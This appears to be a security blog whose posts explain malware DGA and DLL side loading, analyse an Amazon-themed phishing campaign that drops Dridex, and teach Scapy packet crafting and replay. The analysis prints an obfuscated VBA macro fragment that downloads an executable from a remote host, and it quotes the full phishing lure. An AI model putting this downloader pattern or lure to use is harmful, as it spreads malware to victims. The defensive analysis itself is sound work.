Wednesday, March 4, 2015

Malware Technique: DGA

Persistence is key to an adversary's attempts to compromise a target. It is very important to establish a foothold so that continued access to a resource can be used to further exploit the target or exfiltrate data. This typically takes the form of a backdoor or a process starting on the host when it comes to malware. This is important when it comes to host-based persistence but what about server-based persistence? Malware campaigns rely on persistent command and control(C2) infrastructure in order to remain operational. If a C2 infrastructure is taken down, the malware operators no longer has a way to control the infected hosts and receive exfiltrated information.

In order to achieve persistence, certain techniques must be used to make it more difficult to stop these campaigns. One way to assist in these techniques is to use a Domain Generation Algorithm(DGA) as in the malware that is deployed in the field. DGA is used by malware to generate domain names that are mapped to C2 IP addresses instead of hard-coding them directly in the binary.

This has a couple advantages over other methods such as hard-coding. A hard-coded list such as this would be easily detectable by static analysis techniques. This would make it much easier to track and take down the servers involved in these communications. One example that exhibits this characteristic is the malware used to compromise Sony Entertainment (md5: 2618dd3e5c59ca851f03df12c0cab3b8).




The IP addresses in this binary allow the C2 servers to be easily identified. This would allow the malicious servers to more easily be taken down or sinkholed by law enforcement or researchers. Doing so would put a halt to the plans of the malware creator(s). As a result, many strains of malware have moved towards using DGA to mitigate these possibilities.

These algorithms give malware the ability to generate many domain names of which very few are registered to an IP address. The domain names generally are determined by the date and time, also known as a seed, so that all hosts can generate the same domain names in a synchronized fashion. Since the malware author knows the algorithm used to produce these domains, they are able to register the domain names prior to the malware making phone home requests. This allows the hosts to receive configuration files and instructions from the C2 server. The hosts can also exfiltrate information to the server. The domain can then quickly be de-registered to avoid C2 server detection. As a result, those attempting to discover the IP addresses of the servers are usually unsuccessful unless technology such as passive DNS is utilized for investigation.

An example that can be referenced for illustrative purposes is CryptoLocker. CryptoLocker is a type of ransomware that encrypts certain file types on the infected system and presents the user with a screen requiring payment for decryption. While the malware has been succeeded by new variants such as CryptoWall, it is a relevant example for DGA-based malware. Dynamic analysis of CryptoLocker shows a large number of domain names being requested but a single host IP address being contacted.

Courtesy of Malwr.com

The above figure presents only a truncated list of domains. It is very likely that only a few of the listed domain names would have resolved to the host IP address listed at the time the analysis was performed. Presently, no IP addresses are being resolved because CryptoLocker servers have been taken down.

The main disadvantage to dealing with this type of malware from a network administrator's point of view is that domain blacklisting will be ineffective. The domain names will be not be predictable without reverse engineering the algorithm. Even doing so will not prevent future infections if the algorithm is modified. IP addresses for the C2 servers may also change so IP blacklisting isn't an effective countermeasure either.

Clearly, using a technique such as DGA is an effective way to prevent C2 takedowns as well as prevent network countermeasures that have been deployed. While IPS and domain whitelisting can be utilized to minimize the damage done by DGA-based malware, they are not always the most practical or effective tactics. Many malware strains have begun to employ this technique as a direct result of these 'benefits' previously mentioned. Other notable malware utilizing DGA include Conficker, Zeus and Pushdo but there are plenty of others.

Sunday, February 22, 2015

Malware Technique: DLL Side Loading

Malware authors often rely on vulnerabilities as a stepping stone to infect or compromise the hosts they target. Within the scope of malware, they typically rely on vulnerabilities in software such as Adobe Flash, Java or a number of add-on applications which are used in web browsers. It is easier to exploit an add-on that may not have been updated in many days, months or even years in order to exploit the host in some way. This is a case of picking the lowest hanging fruit. Add-on software and plugins are constantly being updated or patched as a result of vulnerabilities being discovered and exploited.

Many times the functionality of the operating system itself can be used to the malware author's advantage as well. One such functionality within Windows Operating Systems is the side-by-side (WinSXS) feature. WinSXS is a directory on modern Windows Operating Systems, first introduced in Windows 98 SE, that can contain multiple DLL and file versions. It was introduced as a way to reduce dependency issues as well as problems with duplicate DLL files. If, for example, a new software is installed that uses an updated version of a DLL that currently exists on the host, the new version will be added and the old will remain. This reduces conflicts such as deleting the old version that may still be in use by another software component. This feature is a necessity in regards to the operation of the host but malware authors can also utilize it to hijack the flow of an application to ensure that their malicious code is executed.

This technique has gained popularity in APT(Advanced Persistent Threat) malware campaigns. It works in a similar fashion as DLL hijacking. The main difference that exist between DLL highjacking and DLL side loading is that DLL highjacking takes advantage of the load order of legitimate DLLs by placing a spoofed version in a higher load position than the real DLL. This type of vulnerability is documented in various CVEs such as 2014-8398 and 2012-1849.

DLL side loading, however, makes use of the WinSxS directory (C:\Windows\WinSxS). This directory holds multiple versions of DLL files and as stated earlier, resolves many issues that previous incarnations of Windows encountered. An application using this directory to retrieve a DLL will need to have a manifest. The manifest lists the DLL file that the program needs to load at runtime execution and is used by the DLL loader to determine which version should be used. 
Courtesy of Microsoft.com

Additional information about Windows side-by-side can be found here.

A malicious DLL with a spoofed name could be placed in this location due to the lack of verifications that are performed on files in this folder. As a result, a vulnerability similar to the one that allows DLL hijacking exists in the side-by-side feature.

Once an application on the host requests access of the legitimate DLL, the spoofed library is loaded. As I mentioned earlier, this has been observed in APT malware like PlugX. FireEye documented one such APT attack that utilized the DLL Side Loading vulnerability. A phishing email was sent to users that contained an Excel spreadsheet that dropped and executed a file. Once run, the executable created a DLL component on the host which was used by a benign Microsoft Office 2003 Service Pack executable file to load an ISO file. None of these components were considered malicious by antivirus vendors at the time this occurred allowing them to avoid detection. Had the DLL components function imports been verified the attack, it would not likely have succeeded.

The spoofed DLL component contained a modified function that allowed the innocuous service pack executable to load a third component file on to the host system.

The components were combined in the memory space of the benign service pack to create a malicious DLL. The malicious activity started and the system was compromised. This was made possible by taking advantage of the side loading functionality of the operating system. It is still notable that a number of other factors also contributed to the compromise as well such as a benign file being used to start the process of this compromise. This still serves as a great example of how using spoofed DLLs and the side-by-side loading capability can be dangerous for end users and corporate entities.

This particular vulnerability is more likely to be used in APT campaigns, which are highly targeted for specific companies or markets, it is highly unlikely that a typical user would encounter malware utilizing this specific technique. To this point there have been no indications that this will remain the case as time progresses. Regardless, this still serves as a great example of how using spoofed DLLs and the side-by-side loading capability can be dangerous for end users and corporate entities.


Wednesday, December 3, 2014

Amazon Order Confirmation Phishing Campaign - Part III

In our previous post, we analyzed a malicious word document and it's associated macro. Our analysis revealed that this macro is used to retrieve a malicious executable file, 1.exe, which is then executed on the target system. Running Strings on the executable yielded information about the DLL libraries that were imported for use in this file. These libraries are associated with network communication which is very dangerous when it comes to any malware as it can be used for data exfiltration and retrieving additional resources from remote servers. Today we will examine this a bit further to see if we can retrieve any additional information.

1.exe Revisited

We discovered that many of the libraries imported were related to network communications. MPR.dll, WS2_32.dll and RTM.dll are all noteworthy when it comes to this functionality so the next step would be to see how these functions are used in the decompiled executable. Hopefully we can obtain some clues about the destination IP addresses that are being reached out to. We decided to use Hopper disassembler to decompile this executable.




Examination of the graph and code appears to indicate that this malware attempts to maintain a persistent process on the host system. This is done by checking to see if the malware's own process is running. If it doesn't, a new process is created for the malware. It also checks to see if the process is active or idle. The following is a small snippet of the decompiled code that demonstrates the idle process check.


This appears to be a common trait amongst most malware. Malicious software is not effective unless it continues to run on the system so we need to look at some other portions of the assembly code to get a better idea of how this malware will communicate with remote hosts.

Network communications appear to occur at memory location 0x00406230. At this location we begin to see interesting function calls such as 'getprotobyname', 'WSAGetServiceClassNameByClassIdW' and 'getservebyport'. One issue that we notice is there are no network indications such as an IP address or hostname. This limits our ability to see which destinations will be contacted by the malware. Our strings analysis led us to believe this would be the case but it is further confirmed as we look at the disassembled code.



So it appears that additional analysis will be needed to see exactly how this executable will interact with the system and network once it is executed. To do this we will need to perform some dynamic analysis on the executable. While we could normally run the executable in a secure lab environment, there are also open source tools that allow us to submit executables to be run in sandbox environment. We will opt to use a tool such as this since the infrastructure is already in place and we will not have to worry about any mishaps.

Dynamic Analysis

Malwr was chosen to perform the analysis for this piece of malware. It utilizes the Cuckoo Sandbox technology to perform dynamic analysis for files that have been submitted. Using this online services allows malware analysts to share results as well as check the analysis of other files as well. This is contingent upon having the hash value for that file we are looking to analyze and another analyst previously submitting the file. Let's take a look at the analysis that is provided to us for our own file which has been renamed to garfield67-1.exe.

Local Indicators

One particular area of interest when it comes to analyzing the consequences of running malware on a host would be any local changes made to the infected system. These files can be important for the purposes forensic investigation. Additional malware could also be downloaded to and executed on the host.

Edg1.tmp (md5:d41d8cd98f00b204e9800998ecf8427e), 2.tmp (md5:b396cb453ecc5d2949f6cb73c263e563) and GARFIE~1.exe (md5:954858bc0f115a4d6442afb333ec44c2) are particularly interesting. The first file would appear to be empty and returns no detections when submitted to Virus Total. The final two files have high detection rates. The GARFIE~1.exe is actually a copied version of the original malware executable.

Virus Total's vendor antivirus engines have commonly shown the name 'Dridex'. Dridex is a known Trojan that is classified as a "Banking Trojan" and has been linked to malicious macro use. Sound familiar?

Moving along, we also observed a good amount of registry changes including a modification to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. This will cause the malware to run each time a user logs in. This is quite common when it comes to malware as it needs to run after a user has logged off or shut down their system. Now that we have discovered some of local changes on a system, we know what indicators to look for in future incidents.

Network Indicators

In order to understand what type of network connections are being made we had to download the PCAP file from Malwr. One of the first things we noticed is an HTTP POST to destination host 84.40.9.34 over TCP port 8080. The posted information does not appear to be human-readable. It is possible that the data posted is encrypted but we have no real solid evidence to determine if this is the case.This HTTP POST results in a server response of 200 which is indicates a successful communication.



A quick WhoIs query for this IP address reveals that it is registered to a hosting company, Hostway Management, out of London. Hosting services are a common way to serve malware since it can allow a certain level of anonymity so this does not provide any further context in regards to the malware authors.

Next we see an HTTP GET request to host 198.57.157.49 which belongs to another hosting company out of Utah, USA


This request, however, is responded to with a 403 Forbidden message. This appears to be the only GET request within the entirety of the network traffic. All remaining activity looks very much like the initial POST request we observed, only this time it is to host 198.57.157.49. These requests, like the first, all appear to have possibly been encrypted and result in '200 OK' response codes.

Although we are unable to confirm, it would appear that this could be some form of data exfiltration as would be expected in information stealing malware. 

Conclusion

Analysis of the file clearly identifies the type of damage that mass phishing campaigns can cause, especially if they target certain industries.  Our initial Word attachment contained a malicious macro that lead to a quick downhill slide as it downloaded malware to the host. This infection vector may not be the most effective but it still works on many unsuspecting users by masquarading as a trusted company. 

We were able to obtain enough supporting indications that allow us to conclude that this malware is sending information from the host systems to a remote system. This could include any number of credentials or private information. Luckily, most antivirus vendors appear to have signatures in place for this activity and the network communications allow for IDS/IPS signatures to effectively detect and prevent outbound communications. The best prevention, however, would be to disallow the running of Macros for Microsoft documents.  


1.exe Malwr Analysis

Resources:
Trend Micro - Banking Trojan Dridex Uses Macros for Infection
My Online Security - Amazon Co UK Order Dispacthed


Part One
Part Two


Wednesday, November 19, 2014

Amazon Order Confirmation Phishing Campaign - Part II

In the last post I reviewed a phishing campaign that used spoofed Amazon.co.uk confirmation emails to bait recipients in to opening a Word doc attachment. This attachment contained a malicious macro that would download malware on to the host system. Now we are going to look a bit deeper by performing some static analysis on the document and the malware that is loaded on to the host system. Doing so will give us some insight in to nature of these files, besides simply being malicious, and what we can expect these files to do once they are executed.

Word Attachment

Let us take a take a look at the .doc file that is attached to the email. Upon opening the file, we notice that it is completely blank. We do receive a warning about enabling macros, however.


Since we only want to analyze this file, there is no need to enable the macros. We only want to view the macros in this file. I personally decided to use the Microsoft VBS editor that comes with Microsoft Office to analyze the code. The code can be found here at Pastebin and appears to have a lot of non-useful code segments such as conditional statements that will never execute. This is likely a type of obfuscation that the author decided to use in order to throw off those viewing the actual VBScript.

After wading through the obfuscation, we find what appears to be some relevant lines of code.

Function SICJGWUTEZO(ByVal IYDOISAYNTH As String, ByVal PAUINJYOMZI As String) As Boolean
    Dim JGNEZQPKOWX As Object, ZSIJJVHVMOQ As Long, LSCOYILUQNP As Long,     
APXADSKJDFK() As Byte
    Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP")
    JGNEZQPKOWX.Open "GET", IYDOISAYNTH, False
    JGNEZQPKOWX.SEND "send REQUEST"

The code snippets above appears to show an outbound HTTP GET request to a remote host. The only problem is that we don't know what the remote host is in this case. It appears that the variable 'IYDOISAYNTH' is the remote host here. This variable is a parameter that is defined for function 'SICJGWUTEZO'. The only other instance of this function being called occurs here:

    SICJGWUTEZO ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(103) & ChrW(97) & ChrW(114) & ChrW(102) & ChrW(105) & ChrW(101) & ChrW(108) & ChrW(100) & ChrW(54) & ChrW(55) & ChrW(46) & ChrW(100) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ("TEMP") & "\SUVCKSGZTGK.exe"

Decoding the ChrW values reveals http//garfield67.de/1.exe as the file that the HTTP GET request resource. That is very interesting but not all that surprising. Running the address through Virus Total produces a detection rate of 16/61.


We need to analyze this file if we want to determine how it will modify the host system. While the macro provides a great deal of information, it is essentially a way to infect the system.

1.exe

So I feel that I should start this section out by first stating that the executable is no longer available. At some point it was taken down, likely because this server was hosting malicious content and they don't tend to last all that long.

This first thing we are going to do is determine if this file is actually and executable. It is not uncommon for malicious files to have extensions that are different from their actual file type. This doesn't seem like a good case to do such a thing but let's do our due diligence anyway.


Everything here appears to indicate that this is indeed an executable file. The file command indicates this and as we would expect the 'MZ' value if found at the beginning of the hex dump. Using strings does not yield any useful information such as hard coded IP addresses or credentials. One piece of valuable information that we can extract from the strings of the executable would be the DLL libraries that are imported for use by the executable. This can be done using a tool like IDA Pro as well but for the purposes of brevity the strings output is as follows:


A little Googling reveals that the majority of these libraries are used for network-based communications. This would indicate that the malware has networking capabilities and will attempt to reach out to remote hosts.  More digging in to the binary is needed so that we can accurately identify how this malware will communicate. This will require that we use some more advanced analysis techniques and will be the subject of our next post.


Part One
Part Three

Wednesday, November 12, 2014

Amazon Order Confirmation Phishing Campaign

Recently a new phishing campaign has been brought to my attention. I have been noticing a high number of downloads from hosts for executables. This activity is causing snort-based signatures to fire when these downloads are attempted. After a little investigation, I found that a good bit of people are receiving these phishing emails which contain an attachment. This attachment appears to be the stimulus for the downloads we are observing.

Some Google searching returns a number of articles about this ongoing campaign. My Online Security provides us with the actual email that is being distributed to potential victims.

Examining the email, it appears to be legitimate, but there are a few key indications that something is wrong. The most noticeable indication is the broken English in the email.
Dear Customer,
Greetings from Amazon.co.uk,
We are writing to let you know that the following item has been sent using  Royal Mail.
For more information about delivery estimates and any open orders, please visit: http://www.amazon.co.uk/your-account
Your order #203-2083868-0173124 (received October 30, 2014)

Your right to cancel:At Amazon.co.uk we want you to be delighted every time you shop with us.  O=ccasionally though, we know you may want to return items. Read more about o=ur Returns Policy at:  http://www.amazon.co.uk/returns-policy/
Further, under the United Kingdom's Distance Selling Regulations, you have =the right to cancel the contract for the purchase of any of these items wit=hin a period of 7 working days, beginning with the day after the day on whi=ch the item is delivered. This applies to all of our products. However, we =regret that we cannot accept cancellations of contracts for the purchase of= video, DVD, audio, video games and software products where the item has be=en unsealed. Please note that we are unable to accept cancellation of, or r=eturns for, digital items once downloading has commenced. Otherwise, we can= accept returns of complete product, which is unused and in an "as new" con=dition.
Our Returns Support Centre will guide you through our Returns Policy and, w=here relevant, provide you with a printable personalised return label.  Ple=ase go to http://www.amazon.co.uk/returns-support to use our Returns Suppor=t Centre.
To cancel this contract, please pack the relevant item securely, attach you=r personalised return label and send it to us with the delivery slip so tha=t we receive it within 7 working days after the day of the date that the it=em was delivered to you or, in the case of large items delivered by our spe=cialist couriers, contact Amazon.co.uk customer services using the link bel=ow within 7 working days after the date that the item was delivered to you =to discuss the return.
https://www.amazon.co.uk/gp/css/returns/homepage.html
For your protection, where you are returning an item to us, we recommend th=at you use a recorded-delivery service. Please note that you will be respon=sible for the costs of returning the goods to us unless we delivered the it=em to you in error or the item is faulty. If we do not receive the item bac=k from you, we may arrange for collection of the item from your residence a=t your cost. You should be aware that, once we begin the delivery process, =you will not be able to cancel any contract you have with us for services c=arried out by us (e.g. gift wrapping).
Please also note that you will be responsible for the costs of collection i=n the event that our specialist courier service collect a large item from y=ou to return to us.
As soon as we receive notice of your cancellation of this order, we will re=fund the relevant part of the purchase price for that item.=20
Should you have any questions, feel free to visit our online Help Desk at:==20http://www.amazon.co.uk/help
If you've explored the above links but still need to get in touch with us, =you will find more contact details at the online Help Desk.=20
Note: this e-mail was sent from a notification-only e-mail address that can=not accept incoming e-mail. Please do not reply to this message.=20
Thank you for shopping at Amazon.co.uk
-------------------------------------------------Amazon EU S.=C3=A0.r.L.c/o Marston GateRidgmont, BEDFORD MK43 0XPUnited Kingdom-------------------------------------------------
I will admit that I can't honestly remember the last time I actually read a confirmation email after making a purchase on Amazon. To me, this would suggest that it is conceivable that an unsuspecting recipient would not recognize this as a phishing attempt. I can also say that I also have never received a confirmation email with an attachment. This email, however, has an attached Microsoft Word document.

This .doc file (md5: a75e196e6c0cabc145f4cdc3177e66ec) appears to contain some macro that causes the system that it is executed on to make download requests. The intent here is that an individual will open the document, disable the macro security features that are presented when the file is opened and execute the VB script. It is common for a unsuspecting user to click past any warnings in documents such as these and the perpetrators are very aware of this.




This macro appears to lead to the download the file "1.exe" (md5: 954858bc0f115a4d6442afb333ec44c2) on to the host system. Once this file is executed...well let's just say all sorts of fun things begin to happen that we will explore further in the following posts. Running this executable through Virus Total produces a detection rate of 35/54. The name classifications continuously mention the name "Yakes" as the type of malware

In the following posts I will analyze the downloaded malware, Word document and any additional files that may be dropped on to the host system. Performing these steps will hopefully lead to additional information such as the origin of the campaign and the purpose of the malware.

Part Two
Part Three

Sunday, October 19, 2014

Scapy Primer - Part III

The ability to read from and write to files is extremely helpful when it comes to programming and scripting. This ability allows users to either store or read data from a pre-existing source. Where this becomes helpful with a library such as Scapy is that it allows us to read from a packet capture file (pcap). The scenarios in which this type of activity is advantageous would be when a programmer needs process the network traffic that has already occurred. This is a useful ability when we need to analyze, search or replay network traffic.

Here are a few of the methods that are used in order to read from or write to a pcap file.

rdpcap()

Reading packets from a pcap file requires the use of the rdpcap() method. This method requires a file location as a parameter. The best way to ensure that the proper file is given as input is to provide the full path to the file within double quotes.

Let's take a look at an example in which we will attempt to read the file "/tmp/synflood.pcap":


The pcap contains a Syn-Flood attempt. This is a denial of service (DoS) attack that attempts to send a high number of SYN flags to an open port to illicit a SYN/ACK response. This would be an expected response from an open port per the three-way handshake. The source, 192.168.10.1, is spoofed so that any responses are sent in to the void. This attack is antiquated and typically does not work against modern hosts.

packets = rdpcap("/tmp/synflood.pcap")

This line reads each packet in the in the the variable as a list. Checking the variable 'packets' results in a listing that shows 100 packets, which is to be expected as a result of original PCAP.

wrpcap()

Writing packets to a pcap file is very similar to the write process with the exception of the number of parameters that we will provide. The parameters are the file location and the packets that are to be written to file.

The ability to write packets is very much tied to the ability to collect the packets that are to be written to file. Up until this point we have only explored how to collect traffic that has been produced in response to certain stimuli that the programmer has created. This obviously has certain limits when it comes to the types of traffic that we can collect. Now we will explore one additional method that can be used to collect all traffic that passes a network interface card.

sniff()

The sniff() method will sniff traffic from a network interface card of the host machine which the method is being run on. Of course this means that the user running the method should have the ability to read traffic from the network card in promiscuous mode. The sniff() method can take multiple parameters that can specify the type and quantity of traffic it receives.

     iface  - This option specifies the interface that traffic will be collected on.
          
     filter  - This option takes a Berkley Packet Filter in order to limit the type of traffic that is
                  collected.
     count - This option specifies the number of packets that will be collected.




It is not a requirement that the packets sniffed are then stored in a pcap file. They can be read in to a variable as well but for the sake of persistence and relevance, sniffed traffic will be written to file in our examples. Sniffing traffic in this fashion is helpful when we have some idea of the type of traffic we are seeking.

Replay

There may be scenarios where we would like to replay traffic from a pcap file. Research, investigation and malware analysis are a few that come to mind. These situations can benefit from replaying packets in a lab environment.  Scapy makes this a relatively simple task to achieve.

So if we want to replay some traffic on the network. It only takes a few lines of code to do this.

from scapy.all import *
pcap = '/tmp/attack.pcap' 

traffic = rdpcap(pcap)


for packet in traffic: 
     sendp(packet)


We use the sendp() function in this script since the traffic in the pcap contains Layer 2 data. Recall that we previously stated that this function must be used when the packet contains Ethernet level data.

This will allow us to replicate this traffic on a test network, provided that test hosts have network settings that have been modified to match IP addresses in the file. This could save some time when we would like to determine if our systems are vulnerable to certain attacks. Just get a pcap, replay the traffic and observe what happens.

Conclusion

This primer only touches the surface of the possibilities of Scapy. The main purpose was to show just some of the features and abilities. This tool will be used in future posts because it is a great for automating tasks and researching responses from networking devices. It also will provide great benefits for reconnaissance and evasions techniques. A more full featured set of documentation can be found at  http://www.secdev.org/projects/scapy/files/scapydoc.pdf.

Thursday, October 16, 2014

Scapy Primer - Part II

Obviously if we create a packet, the next logical step would be to send that packet over the network to a destination. This is a necessary step, especially when attempting to analyze the response to a crafted packet. Since crafting packets allows us to deviate from protocol and RFC standards, an unexpected or unique response may be received. This is a useful technique when it comes to fingerprinting and troubleshooting a host. There are other useful applications when analyzing the response to these crafted packets as well.

Packet Trasmission

A number of functions are available for transmitting packets. The following functions are the most noteworthy and useful.

send()

The send() function is used to send a packet over a network. This function is typically used when we do not want to store the response for further use in the script or program.

     >>> packet = IP(dst="10.10.10.1")/TCP(dport=80)
     >>> ans = send(packet)
     .
     Sent 1 packets.
     >>> ans
     >>>

Notice that no value is returned as a response to the sent packet so the result of printing the variable 'ans' is an empty one.

Let's use tcpdump to get a more detailed picture of what is happening on the network when we use the send() function.


We receive a SYN/ACK as expected since destination port 80 is open on host 10.10.10.1. The host that initiated the conversation, 192.168.93.136, responds to the SYN/ACK with a RST packet. This is due to Scapy making the initial request and not the Linux Kernel. Since this is the case the host does not expect to receive a SYN/ACK, thus it responds with a RST packet.

sr()

The sr() function is very much similar to send(). The difference between the two functions is that sr() will return an answer to the stimulus packet that has been sent. For example, if we were to send an ICMP request to a destination, this function would listen and store the responses within a list that can be enumerated. Unanswered packets will also be returned using sr().

    >>> packet = IP(dst="10.10.10.1")/TCP(dport=80)/"Open Port"
    >>> ans,unsans = sr(packet)
    Begin emission:
    .Finished to send 1 packets.
    *
    Received 2 packets, got 1 answers, remaining 0 packets
    >>> ans
    <Results: TCP:1 UDP:0 ICMP:0 Other:0>
    >>> ans[0]
    (<IP  frag=0 proto=tcp dst=10.10.10.1 |<TCP  dport=http |<Raw  load='Open Port' |>>>,   
    <IP  version=4L ihl=5L tos=0x0 len=40 id=31 flags= frag=0L ttl=64 proto=tcp   
    chksum=0x5a98 src=10.10.10.1 dst=10.0.2.15 options=[] |<TCP  sport=http dport=ftp_data 
    seq=448001 ack=2 dataofs=5L reserved=0L flags=A window=65535 chksum=0xb94d 
    urgptr=0 |<Padding  load='\x00\x00\x00\x00\x00\x00' |>>>)
    >>> packet = IP(dst=["10.10.10.101","10.10.10.251"])/ICMP()/"Ping"
    >>> ans,uans = sr(packet)
    Begin emission:
    .Finished to send 2 packets.
    **
    Received 3 packets, got 2 answers, remaining 0 packets
    >>> ans
    <Results: TCP:0 UDP:0 ICMP:2 Other:0>
    >>> uans
    <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>
    
Now let's access the elements within this list. We would do this just like any other list in Python. The integer within the brackets represents the index of the stimuli/response pair we would like to access. In this example the first pair is an echo request (Type 8 Code 0) and the echo reply (Type 0) to the original request.

    >>> ans[0]
    (<IP  frag=0 proto=icmp dst=10.10.10.101 |<ICMP  |<Raw  load='Ping' |>>>, <IP  
    version=4L ihl=5L tos=0x0 len=32 id=55 flags= frag=0L ttl=63 proto=icmp chksum=0x5b29 
    src=10.10.10.101 dst=10.0.2.15 options=[] |<ICMP  type=echo-reply code=0 chksum=0x412f 
    id=0x0 seq=0x0 |<Raw  load='Ping' |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00
    \x00\x00\x00\x00\x00' |>>>>)

The second pair is the echo request and the ICMP destination unreachable/host unreachable from the gateway (Type 3 Code 1). The host 10.10.10.251 does not exist which is why this response is generated. We are only concerned with these responses for this illustration so the IP and ICMP errors can be ignored at this time.

    >>> ans[1]
    (<IP  frag=0 proto=icmp dst=10.10.10.251 |<ICMP  |<Raw  load='Ping' |>>>, <IP   
    version=4L ihl=5L tos=0xc0 len=60 id=56 flags= frag=0L ttl=63 proto=icmp 
    chksum=0x5a4c src=10.10.10.101 dst=10.0.2.15 options=[] |<ICMP  type=dest-unreach 
    code=host-unreachable chksum=0xdd1f unused=0 |<IPerror  version=4L ihl=5L tos=0x0 
    len=8192 id=256 flags=  frag=0L ttl=63 proto=icmp chksum=0x59c9 src=10.0.2.15
    dst=10.10.10.251 options=[]
    |<ICMPerror  type=echo-request code=0 chksum=0x392f id=0x0 seq=0x0 |<Raw  load='Ping'
    |>>>>>)


The list that is returned as a result of this function is actually multidimensional. We will only explore the first two dimensions but it should be noted that there are many more. Each dimension allows us to dive down deeper in to the packet. We will access the second dimension in the following example. This index relates to the particular transaction that we are interested in accessing within the pair. In this case we will be examining the second ICMP request that was sent to host 10.10.10.251.

 
   >>> ans[1][0]
    <IP  frag=0 proto=icmp dst=10.10.10.251 |<ICMP  |<Raw  load='Ping' |>>>
    >>> ans[1][0].type
    8
    >>> ans[1][0].code
    0

sr1()

The sr1() function is another variation of the send() function. This function listens for a single response to a packet that has been sent. This is quite useful if we are only concerned with the first response to a packet that has been sent. Unanswered packets are stored within a list as well.


     >>> packet = IP(dst="10.10.10.1")/TCP(dport=22,flags="S")

     >>> ans = sr1(packet)
     Begin emission:
     Finished to send 1 packets.
     *
     Received 1 packets, got 1 answers, remaining 0 packets

We define a packet that is destined for TCP port 22 (Secure Socket Layer) and has a TCP flag that is set to 'S' for SYN. This should initiate the beginning of the TCP handshake and elicit a SYN/ACK flag from the destination host if the port is open.

     >>> ans
     <IP  version=4L ihl=5L tos=0x0 len=44 id=86 flags= frag=0L ttl=64 proto=tcp
     chksum=0x5a5d src=10.10.10.1 dst=10.0.2.15 options=[] |<TCP  sport=ssh dport=ftp_data
     seq=10624001 ack=1 dataofs=6L reserved=0L flags=SA window=65535 chksum=0x5b2f
     urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00' |>>>
     >>> ans[0][1]
     <TCP  sport=ssh dport=ftp_data seq=10624001 ack=1 dataofs=6L reserved=0L flags=SA
     window=65535 chksum=0x5b2f urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00'
     |>>
     >>> ans[0][1].flags
     18L



Keep in mind that the variable 'ans' stores the response to the 'packet' that was sent. 'ans[0][1]' specifies the second layer in this response packet. In our case, this would be the TCP layer. When we request the 'flags' field we are presented with the integer '18'. This is the combined value of the TCP flags (ACK = 16, SYN = 2).


srp()

The srp() function is used when sending a layer 2 (data link layer) datagram packet and will listen for responses in much the same way as the previous function does.

     >>> datagram =  
     Ether(src="00:00:00:12:34:ab",dst="14:da:e9:01:3e:23")/IP(dst="10.10.10.101")
     >>> sendp(datagram)
     .
     Sent 1 packets.

This function must be used if the Ether() layer has been defined within a packet. If a function such as send() is used, a warning will be produced indicating that there is an issue.

     >>> send(datagram)
     WARNING: Mac address to reach destination not found. Using broadcast.
     .
     Sent 1 packets.

Now that we have a foundation for crafting and transmitting packets, we can look in to actually reading packets from a packet capture file. This is a tremendously helpful capability when attempting to reproduce activity such as an exploit or attack on a network. We will explore these techniques as well as a few other in next post.